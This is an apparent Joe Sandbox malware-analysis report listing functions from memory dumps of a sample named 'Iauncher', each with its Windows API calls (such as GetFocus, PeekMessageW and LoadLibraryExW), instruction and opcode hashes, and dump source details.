Instruction ID: c653584ab5ff43b09e1573b5fb08bc965caf55691b1b079148c7a4fe838083e8
Opcode Fuzzy Hash: a87a6d444550eb153e9e0d0582f07509e1dbc25deedebb6b2415b53ef390c40e
Instruction Fuzzy Hash: 045154B0D0030A8FEB14DFAAD548BAEBBF1FB48314F208459E419A7390DB746945CB66

Uniqueness

Uniqueness Score: -1.00%

Function 09CA866C Relevance: 2.7, Strings: 2, Instructions: 247
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(q, xrefs: 09CA8997
(q, xrefs: 09CA89C3

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID: (q$(q
API String ID: 0-2485164810
Opcode ID: 367f66badb3020ddc8225de764e465a82bd62a2b416b84ced4e50a335fec6de4
Instruction ID: dfed0a18221f30155aa154f658ebebcbddb1fa0592c47b395258fbe0056c238f
Opcode Fuzzy Hash: 367f66badb3020ddc8225de764e465a82bd62a2b416b84ced4e50a335fec6de4
Instruction Fuzzy Hash: 4591B031E003059FDB04ABA9D854BAEBBB6FFC8300F148169E519AB391DF349D41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 09CA8260 Relevance: 2.7, Strings: 2, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(q, xrefs: 09CA836D
(q, xrefs: 09CA8341

Memory Dump Source

Source File: 00000000.00000002.3687267930.0000000009CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ca0000_Iauncher.jbxd

Similarity

API ID:
String ID: (q$(q
API String ID: 0-2485164810
Opcode ID: 5612c1133b2864378d91e69bff233a7a8c27fe67895456a4705f4711b9607f91
Instruction ID: be81cde1cb29fecd1216635c6755da13d1929f1fb54ff0b1fc288bff380e99fe
Opcode Fuzzy Hash: 5612c1133b2864378d91e69bff233a7a8c27fe67895456a4705f4711b9607f91
Instruction Fuzzy Hash: 68610471E002099FDF14DFA9E884AEEBBF1FF88310F50812AE919A3250D7359951CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05D63D48 Relevance: 1.7, APIs: 1, Instructions: 168COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000014,?,?,03A1411C,02A5D8EC,?,00000000), ref: 05D63EA6

Memory Dump Source

Source File: 00000000.00000002.3683984827.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d60000_Iauncher.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: c601245b380f2fa4e2575c7b07c74cfb1fdab0009310bb0d8fdefd6db07ee908
Instruction ID: d61f8d7f7a4ba9985220190b8ed45eaa696b7ed4d8372267b4da7986375aa8ef
Opcode Fuzzy Hash: c601245b380f2fa4e2575c7b07c74cfb1fdab0009310bb0d8fdefd6db07ee908
Instruction Fuzzy Hash: F0719E74A01208AFCB15DFA9D884DAEBBB6FF49714F114499F901AB361DB31EC82CB50

Uniqueness

Uniqueness Score: -1.00%

Function 075EC428 Relevance: 1.6, APIs: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 075EC48E

Memory Dump Source

Source File: 00000000.00000002.3685325691.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_Iauncher.jbxd

Similarity

API ID: Focus
String ID:
API String ID: 2734777837-0
Opcode ID: d6183e301a455574beb2404a13effa13d05449fb76f8ba47974bfd93438bc503
Instruction ID: bf2ef3b2aa322359e4028ed5317cd435a3e5ca2481bf460d805c919e35c89970
Opcode Fuzzy Hash: d6183e301a455574beb2404a13effa13d05449fb76f8ba47974bfd93438bc503
Instruction Fuzzy Hash: A1317AB1E002168FDB18EF69D444AFEBBB9BF48611F15445AD815EB355DB34EC01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010173AC Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 01017469

Memory Dump Source

Source File: 00000000.00000002.3676074296.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1010000_Iauncher.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: bf6dc7c5dc47d3a0e881959e75ea3dc84fd5efafc6721c49340185221b8fef51
Instruction ID: ba9447b118c95c6f5f5417b9894b81f0adfcfda7ebbde1cd0e01013c589a0c96
Opcode Fuzzy Hash: bf6dc7c5dc47d3a0e881959e75ea3dc84fd5efafc6721c49340185221b8fef51
Instruction Fuzzy Hash: CC410271C00719CBEB24DFA9C844BDDBBF1BF88304F20816AD448AB295DB755946CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01015E24 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 01017469

Memory Dump Source

Source File: 00000000.00000002.3676074296.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1010000_Iauncher.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 0161f7c77dbd1677a06d753b0008c2a65ff66c9d39e09ac1f5f1d5279bbbba53
Instruction ID: 98347374e063b1c7072dd2d6e1817d5f00855763859e9e650d4b685d8ba08d8f
Opcode Fuzzy Hash: 0161f7c77dbd1677a06d753b0008c2a65ff66c9d39e09ac1f5f1d5279bbbba53
Instruction Fuzzy Hash: FE41E471C0071DCBEB24DFA9C844B9EBBF5BF48304F20816AD508AB255DB756946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05DBB560 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3684315895.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5db0000_Iauncher.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: b7fa2d832575b044f8e38354fb931d78b39dff0aba1670943cbe63a1f393b697
Instruction ID: 9a7ca8ad365ab94b3c63244b5eae32b771c349d5b205728ce2fd3c48370b475f
Opcode Fuzzy Hash: b7fa2d832575b044f8e38354fb931d78b39dff0aba1670943cbe63a1f393b697
Instruction Fuzzy Hash: 7231A7729003899FDB11DFA9C840AEEBFF9EF09320F14805AE954EB221C3359951CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 075ED8A3 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,00000000,00000000,?,?,?,075EF6E7,00000000,03A1411C,02A5D8EC,00000000,?), ref: 075EFD75

Memory Dump Source

Source File: 00000000.00000002.3685325691.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_Iauncher.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: a6833775a9e7c69cf0ce64919b6f357f532d16954a10eba4529742d647e49c22
Instruction ID: 76e5e8c06c6176dc1cd70a92db169a5a774d4fad0a046aece9b652106d739e3b
Opcode Fuzzy Hash: a6833775a9e7c69cf0ce64919b6f357f532d16954a10eba4529742d647e49c22
Instruction Fuzzy Hash: 7F31EEB2C043898FDB10DFA9D981BEEBFF8FB49320F04846AD050A7251C3749509CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 075EC418 Relevance: 1.6, APIs: 1, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 075EC48E

Memory Dump Source

Source File: 00000000.00000002.3685325691.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_Iauncher.jbxd

Similarity

API ID: Focus
String ID:
API String ID: 2734777837-0
Opcode ID: 57bcb65023ed45aedb066953d1f82f12a6f5dd76fe1903dff2dee5182ffe391b
Instruction ID: 19441e8209a41f06553334ea3cc95f658d2ddfb3526375ae6a1aca6be6e1c3c0
Opcode Fuzzy Hash: 57bcb65023ed45aedb066953d1f82f12a6f5dd76fe1903dff2dee5182ffe391b
Instruction Fuzzy Hash: AB2168B5E0035A8FCB14DF65D444BEEBBB9FB09621F1485AAD818A7301C735A840CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05D8AB81 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?), ref: 05D8AC1F

Memory Dump Source

Source File: 00000000.00000002.3684118323.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_Iauncher.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 1e6f8d10307c5e82185a2c8359f96dbecd46013456a649382f239a326b9f5b07
Instruction ID: eeac4c6be485f55f5685046772a876a66ae2293d89f88caea7f61419370841bb
Opcode Fuzzy Hash: 1e6f8d10307c5e82185a2c8359f96dbecd46013456a649382f239a326b9f5b07
Instruction Fuzzy Hash: 2331C5B5D003099FDB10DF9AD884A9EFBF5FB48320F54842AE915A7310D775A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 05DB11D3 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 05DB126A

Memory Dump Source

Source File: 00000000.00000002.3684315895.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5db0000_Iauncher.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 4b5bc938ad37e49af47899e68d04f896a46fa4cf7fcf550e54177dc0c6aa9291
Instruction ID: 0f3b3f3d1639454c06df2dfb782486d4087aa8f547e0ec2c09e603b7c7a73d98
Opcode Fuzzy Hash: 4b5bc938ad37e49af47899e68d04f896a46fa4cf7fcf550e54177dc0c6aa9291
Instruction Fuzzy Hash: DD2195B28003498FDB10CFAAC845BDEBFF4EB49320F14C46AD464A3241C738A506CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05D8AB88 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?), ref: 05D8AC1F

Memory Dump Source

Source File: 00000000.00000002.3684118323.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_Iauncher.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: c8d54125b7d211347bef8ec024ba7937d4bcddf8a5e98a2204e59c08796f931c
Instruction ID: 253d7141cbb4a9c2b077f18b5b4582a2adc11f4113a9483424d8a137fd08cca5
Opcode Fuzzy Hash: c8d54125b7d211347bef8ec024ba7937d4bcddf8a5e98a2204e59c08796f931c
Instruction Fuzzy Hash: 7521B4B5D003499FDB10DF9AD884AAEFBF5FB48320F14842AE919A7310D775A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 05DBC3E0 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

MonitorFromPoint.USER32(?,?,00000002), ref: 05DBC46F

Memory Dump Source

Source File: 00000000.00000002.3684315895.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5db0000_Iauncher.jbxd

Similarity

API ID: FromMonitorPoint
String ID:
API String ID: 1566494148-0
Opcode ID: b1eaebc2a6628cc11cb27111c75ede656b554d1f0c3ee004d568574bc55a1766
Instruction ID: 9f1e8a4119674cce5711c859bbf8b4b7fbb595c06e28d73ecd1898e4f34e7cdb
Opcode Fuzzy Hash: b1eaebc2a6628cc11cb27111c75ede656b554d1f0c3ee004d568574bc55a1766
Instruction Fuzzy Hash: 5F217C75A0424A9FDB20DF99C445BEEBBF5FB48320F10801AE855A7391D774A904CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DB12DB Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(?,00000000), ref: 05DB135C

Memory Dump Source

Source File: 00000000.00000002.3684315895.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5db0000_Iauncher.jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: 2048535ac669cb4e6fc51443761c6f9640ec088bfc8c68e43694bad407dea131
Instruction ID: cfa7361c4392ef8a8108031b76e730f38ab8079c91826bfed62b9636f170da8c
Opcode Fuzzy Hash: 2048535ac669cb4e6fc51443761c6f9640ec088bfc8c68e43694bad407dea131
Instruction Fuzzy Hash: 0C21E4B1D016499FDB10DF9AD885ADEFBF9FB48310F14812AE419A3740D378A944CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0101FA88 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0101FB0F

Memory Dump Source

Source File: 00000000.00000002.3676074296.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1010000_Iauncher.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ed724dfeb3c846bb1bf9869c42062202e530b2b3f87421ee23453331269978e6
Instruction ID: 03e05b25cce68b46e3eec1fde25c34b9e1f5a8aabbab9ca4f80aa5cb1c247b90
Opcode Fuzzy Hash: ed724dfeb3c846bb1bf9869c42062202e530b2b3f87421ee23453331269978e6
Instruction Fuzzy Hash: DA21E4B5D002499FDB10CF9AD885ADEBFF8FB48320F14841AE954A3350D378A944CF60

Uniqueness

Uniqueness Score: -1.00%

Function 05DB12E0 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(?,00000000), ref: 05DB135C

Memory Dump Source

Source File: 00000000.00000002.3684315895.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5db0000_Iauncher.jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: de46394bd99826062a41c6f34e8ac16187592b42f35fa6e7649428d0803eb1cd
Instruction ID: 3730cb837de96e29216e3f991698e7d91dbb5eee0ec64ecddec9fd2f573e4841
Opcode Fuzzy Hash: de46394bd99826062a41c6f34e8ac16187592b42f35fa6e7649428d0803eb1cd
Instruction Fuzzy Hash: 0821F3B1D017098FDB10DF9AD884ADEFBF5FB48320F14812AD419A3740D378A904CB64

Uniqueness

Uniqueness Score: -1.00%

Function 05DBA568 Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,05DBB57A,?,?,?,?,?), ref: 05DBB61F

Memory Dump Source

Source File: 00000000.00000002.3684315895.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5db0000_Iauncher.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: d00481569a454afdfdf72c1b0c1b50f2703625607986fd10eb079bb2f84f783e
Instruction ID: 3c7a6faecc2fb1b210f6ff31ffa372ecd6f0a9db3334e70f3567fe90044c2dfa
Opcode Fuzzy Hash: d00481569a454afdfdf72c1b0c1b50f2703625607986fd10eb079bb2f84f783e
Instruction Fuzzy Hash: 021117758003499FEB20DF9AC845BDEBFF9EB48320F14841AE955A7250C375A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 075ED834 Relevance: 1.6, APIs: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,00000000,00000000,00000000,?,?,?,?,075EF65A,00000000,00000000,03A1411C,02A5D8EC), ref: 075EFAA8

Memory Dump Source

Source File: 00000000.00000002.3685325691.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_Iauncher.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 41e2987f2df5b853a9c87b3f3d3bcb9d3f9dff1843556227766b9ef99882287b
Instruction ID: a37a9479eef533ae0da5d6fe51dc634870a47a643f3facdaf794a38a86be2f0a
Opcode Fuzzy Hash: 41e2987f2df5b853a9c87b3f3d3bcb9d3f9dff1843556227766b9ef99882287b
Instruction Fuzzy Hash: 0D1117B5C002499FDB10DF9AC444BDEBBF8FB48320F10842AE914A7250C778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0101CFC8 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0101D881,00000800,00000000,00000000), ref: 0101DA92

Memory Dump Source

Source File: 00000000.00000002.3676074296.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1010000_Iauncher.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 964215d1322549cea74a4c55c0eccf8c1f8e621668c9cf7a834076b08e46eba7
Instruction ID: 909d95cb1e2e7cb1bf84687e8f38dea843fa04adff80500349f4e6e6be71965c
Opcode Fuzzy Hash: 964215d1322549cea74a4c55c0eccf8c1f8e621668c9cf7a834076b08e46eba7
Instruction Fuzzy Hash: 8E1103B6D043498FDB24DF9AC448A9EFBF4EB48310F50842AE559A7200C379A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 075EA7E8 Relevance: 1.6, APIs: 1, Instructions: 54comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 075EA845

Memory Dump Source

Source File: 00000000.00000002.3685325691.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_Iauncher.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 4affe88b8b50613bad70205b6e63cbb0f94ff3c805141fa6c6328a71ed3685cd
Instruction ID: b316ace5bf650d876861b9441679ace2f5fd8fe2996885db1210ed51b1d62bcd
Opcode Fuzzy Hash: 4affe88b8b50613bad70205b6e63cbb0f94ff3c805141fa6c6328a71ed3685cd
Instruction Fuzzy Hash: 1A1188B5C003898FDB20DFA9D485BDEBFF8EB48320F14845AD558A7640C339A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 075EFD08 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,00000000,00000000,?,?,?,075EF6E7,00000000,03A1411C,02A5D8EC,00000000,?), ref: 075EFD75

Memory Dump Source

Source File: 00000000.00000002.3685325691.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_Iauncher.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: a1f548e4c1a29ab6bf1c3c71e2e6564b8715fc45abf037f01e8614e7d069fc4a
Instruction ID: 798f734695674f69a0726ac9ba1a15f644a03e50e3e51cf68c438c9cc38b8e70
Opcode Fuzzy Hash: a1f548e4c1a29ab6bf1c3c71e2e6564b8715fc45abf037f01e8614e7d069fc4a
Instruction Fuzzy Hash: 001114B69002499FDB10DF9AD984BEEFBF4EB48320F10842EE418A3650C379A545CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 075ED84C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,00000000,00000000,?,?,?,075EF6E7,00000000,03A1411C,02A5D8EC,00000000,?), ref: 075EFD75

Memory Dump Source

Source File: 00000000.00000002.3685325691.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_Iauncher.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: de4e8ba8ab68a63fb6db34bad8a3bee851fc889a6879abd4f8c997fdf2d2ded9
Instruction ID: de1ea3a37883e9cfc9fa7ac9fd2eba3640864ccd0076590ce90652033788f43d
Opcode Fuzzy Hash: de4e8ba8ab68a63fb6db34bad8a3bee851fc889a6879abd4f8c997fdf2d2ded9
Instruction Fuzzy Hash: 4911E4B58003499FDB50DF9AD945BEEBBF8FB48320F10842AE554A3241C778A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DB1200 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 05DB126A

Memory Dump Source

Source File: 00000000.00000002.3684315895.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5db0000_Iauncher.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: ddb883962f3debafacff6b17dab6ff4813937b47a4a6e2ed75376e936692a0af
Instruction ID: 4b94a0283f25553f91507d9e4784fc32d3f71890bde706fb04832f0d2f16caef
Opcode Fuzzy Hash: ddb883962f3debafacff6b17dab6ff4813937b47a4a6e2ed75376e936692a0af
Instruction Fuzzy Hash: 161123B6C002498FDB14DF9AC845BDEFBF5EF88320F10842AD869A3240D378A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 075EFA3F Relevance: 1.6, APIs: 1, Instructions: 50windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,00000000,00000000,00000000,?,?,?,?,075EF65A,00000000,00000000,03A1411C,02A5D8EC), ref: 075EFAA8

Memory Dump Source

Source File: 00000000.00000002.3685325691.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_Iauncher.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: ec35835f3e0f2d9592d6f4c652c615e57f85ac1c9a9b89aa51b10a7f1b376bf3
Instruction ID: a3f8b12aabe31501142bb6e298513e85317ac9e7520bc38e1135c6ab943ee08a
Opcode Fuzzy Hash: ec35835f3e0f2d9592d6f4c652c615e57f85ac1c9a9b89aa51b10a7f1b376bf3
Instruction Fuzzy Hash: 6111F3B6C00249DFDB10DF9AD985BDEBBF8FB08320F10842AE918A7250C378A545CF61

Uniqueness

Uniqueness Score: -1.00%

Function 075E9DC2 Relevance: 1.5, APIs: 1, Instructions: 49windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 075E9E25

Memory Dump Source

Source File: 00000000.00000002.3685325691.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_Iauncher.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: a03e31e8280607e652b2bdad3222cfb0e9eea319ff2df64692ad41277780a209
Instruction ID: 79a2f4ce3c85c8d4f65607b3e9c2256d7c06836b5668f91f4df054b59674adf7
Opcode Fuzzy Hash: a03e31e8280607e652b2bdad3222cfb0e9eea319ff2df64692ad41277780a209
Instruction Fuzzy Hash: 9E11F5B68003498FDB10DF99C945BEEFBF8FB48321F14841AD558A3640C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 075E9DC8 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 075E9E25

Memory Dump Source

Source File: 00000000.00000002.3685325691.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_Iauncher.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 6c6c0cac99528fb7da6f388d64a6fe5a79e84d5d237cae4901b7c1b2d6f094ac
Instruction ID: 9cc4a76cef615a95f8c3eb58716c6b4a495defacd5d41a9c26422c5041e4b36c
Opcode Fuzzy Hash: 6c6c0cac99528fb7da6f388d64a6fe5a79e84d5d237cae4901b7c1b2d6f094ac
Instruction Fuzzy Hash: 541106B58003499FDB10DF9AC845BEEFBF8FB48320F14841AE554A3640D379A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 09BF02D8 Relevance: 1.5, APIs: 1, Instructions: 47timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,01046428,?,?), ref: 09BF22DD

Memory Dump Source

Source File: 00000000.00000002.3687143886.0000000009BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9bf0000_Iauncher.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 1e24f29a231d00d131029f99ebf1514af657a7116ae4b18c3cb7d83e2fa55489
Instruction ID: a95b1d678b45abefef9e5ffaf48aeca719403b0390cdd7260989f5e1e15759ec
Opcode Fuzzy Hash: 1e24f29a231d00d131029f99ebf1514af657a7116ae4b18c3cb7d83e2fa55489
Instruction Fuzzy Hash: 4C11D6B59003499FDB10DF9AD485BDEBBF8FB48320F10845AE564A7640C375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0101D7A0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0101D806

Memory Dump Source

Source File: 00000000.00000002.3676074296.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1010000_Iauncher.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7eb04a9ebb0bf4e206fa42c7671647bca36b9a18cc23e678c33093bffb241e01
Instruction ID: 8b70ff6fd32d2f4b99b9c4e110934836b84bbd9ff3b38c7440bab9775d8354a6
Opcode Fuzzy Hash: 7eb04a9ebb0bf4e206fa42c7671647bca36b9a18cc23e678c33093bffb241e01
Instruction Fuzzy Hash: 2011DFB6C002498FDB20DF9AD444A9EFBF4EB88320F10846AD969B7614D379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DB1D48 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?,?,?,?,?,05DB1D39,?,?,00000000), ref: 05DB1DAD

Memory Dump Source

Source File: 00000000.00000002.3684315895.0000000005DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5db0000_Iauncher.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 43f64eeb0bbcdaa6b15064a144362615390ea2101f71823640d99f1f90bb7c01
Instruction ID: c6595b038e24d55453fd3d18df52cb0ffb9018576f548e970cf9bba3abdbe864
Opcode Fuzzy Hash: 43f64eeb0bbcdaa6b15064a144362615390ea2101f71823640d99f1f90bb7c01
Instruction Fuzzy Hash: 8411B0B58002499FDB20DF9AD885BDEBFF8EB48320F10845AE559A7240C375AA44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 09BF0840 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 09BF08A5

Memory Dump Source

Source File: 00000000.00000002.3687143886.0000000009BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9bf0000_Iauncher.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 7e1f07a78da6b5fc0e00e054b945b61b02d61772130e711a2befe13c734c9182
Instruction ID: 26bbc74c89400f743d28947d6efee7be6f8b6269b4ac37d246f8c39c76a2b59b
Opcode Fuzzy Hash: 7e1f07a78da6b5fc0e00e054b945b61b02d61772130e711a2befe13c734c9182
Instruction Fuzzy Hash: 07111DBAC006498FCB20DF9AD545BDEFBF0EB48320F10842AD428A3610C378A504CFA5

Uniqueness

